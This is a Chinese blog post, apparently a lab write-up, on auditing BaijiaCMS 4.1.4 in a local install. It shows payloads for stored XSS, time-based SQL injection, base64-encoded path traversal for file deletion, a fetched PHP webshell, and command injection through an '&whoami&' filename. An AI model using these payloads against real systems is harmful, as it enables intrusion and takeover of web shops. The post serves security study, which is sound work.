PHP代码审计--百家CMS4.1.4项目实战(上)

PHP代码审计--百家CMS4.1.4项目实战(上)

前提:

最近工作有点闲,就想着开始拓展技能了,学一下代码审计,入门就从php开始吧。这个百家CMS项目,我分为两部分测试,一、是渗透测试纯黑盒测试 二、代码审计

一、项目介绍

百家CMS微商城是一款免费开源的面向对象的多店铺多用户微商城PHP开发框架,创建于2014年6月,遵循Apache Licence2开源协议发布,是为了快速简化企业微商城应用开发、帮助微商企业快速赚钱而诞生的。完善的商城购物系统,全方位商品展现+便捷的购买流程,完善的订单管理商品库存管理以及发货操作功能。

二、项目部署

2.1 工具及源码介绍

百家CMS4.1.4源代码下载: https://gitee.com/openbaijia/baijiacms.git

我是用phpstudy 2016搭建的环境,直接把项目放在www文件夹下面就可以了。

百家cms(baijiacms-master)是V4.1.4版本的

Phpstorm版本是2021.1.3

2.2环境的安装搭建

首先,看一下cms的README.md介绍文件,这是一套baijiaCMS的电商系统,我们需要在READM.md介绍文件中,查看一下搭建环境的所需配置版本,如果使用的版本和需求的不一样,可能会导致无法正常安装或者产生报错。

Ps:在代码审计时`README.md`文件是新手审计前必须要关注的一个文件,因为在这个文件中会写到安装时PHP版本要求以及代码结构中每个目录代表什么功能,这对接下来的审计是很有作用的。

首先我们把这里的过滤代码屏蔽一下,为了后面我们可以顺利测试sql注入,xss注入。

代码的位置:includes/baijiacms.php

直接进入http://127.0.0.1:8081/baijiacms-master

开始百家cms的安装,点击同意,下一步

下一步

这一步需要根据自己需求填写管理员信息,数据库信息按照自己的要求来填写,一般本地地址是127.0.0.1,账号密码则为目标数据库的账号密码。

进入登录页面url:http://127.0.0.1:8081/baijiacms-master/index.php

三、渗透测试

3.1、存储型XSS

使用安装时使用的管理员账号密码登录系统。

点击店铺管理—》添加店铺

在店铺名称的位置输入测试XSS payload:<script>alert(11);</script>

点击提交

再次查看店铺管理,发现弹出xss

3.2、SQL注入

在店铺管理---》店铺名称搜索框内搜索,使用burp抓包

正常的查询情况为

添加了测试payload:1234' and sleep(5) #

情况为下图,返回时间明显边长

直接使用sqlmap跑一下:python3 sqlmap.py -r 123.txt

发现是一种时间盲注

3.3、任意文件删除漏洞

进入备份与还原模块,点击备份商城数据

然后进入数据还原模块

点击删除 数据备份,使用burp抓包

发现url中的id参数为删除的数据库备份文件名称,既然这是文件,就试试能不能删除其他文件。

在WWW目录下创建一个abc目录(目录,重要的事情说两遍),然后将../../../abc 路径base64加密为Li4vLi4vLi4vYWJj  ,然后使用burp发包删除。

3.4、任意文件写入+getshell

首先需要创建一个店铺管理员账号,

在后台管理商城中有很多设置模块可以提取网络图片,

使用店铺管理员登录,进入商城设置—》会员订单入口—》选择图片

选择提权网络图片,随便输入然后,使用burp抓包

然后再开启一个简单的web服务,然后把请求包中的参数修改为我们开启的web服务的文件连接。

我是在window中开启,直接创建一个test文件夹,在文件夹中创建一个测试文件,然后在此目录下开启web服务。

命令:python -m SimpleHTTPServer 9001

修改请求包中的参数为我们开启的web服务上的文件。

url=http://127.0.0.1:9001/test.php

访问一下文件

再上传一个php一句木马上传,蚁剑连接试试,成功连接getshell

3.4、命令执行

这个命令执行在黑盒测试中很难测试出来,为什么这么说,并不是由于我们无法想到上传点处拼接命令这种测试方法,而是该处需要另外设置一处功能点后上传文件才可才可触发命令执行。

首先登录系统管理员账号进入“附件设置模块”进行开启配置。

然后登陆店铺管理员账号

进入第三方接入—》微信号设置模块,选择.txt文件进行上传

在filename处使用&拼接命令,造成命令执行。

参数:filename="&whoami&.txt"

参数:filename="&dir&.txt"

参考链接:

PHP代码审计之百家CMS4.1.4版本实战(下)之代码审计中的SQL注入&RCE&任意文件写入&任意文件删除等

https://xz.aliyun.com/t/10678

https://mp.weixin.qq.com/s?__biz=Mzg3MDU1MjgwNA==&mid=2247484280&idx=1&sn=9867290b6640418534318049899281be&chksm=ce8d46f3f9facfe57afb58b2c7ea286a25ee1dc7e8e225907035c28f72f365c084c8bab04781&scene=21#wechat_redirect

声明:

本文仅限于大家技术交流和学习,严禁读者利用本博客的所有知识点进行非法操作。如果你利用文章中介绍的技术对他人造成损失,后果由您自行承担,感谢您的配合,

作者创作不容易,请大家点赞收藏支持一下。谢谢各位读者大老爷。

  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值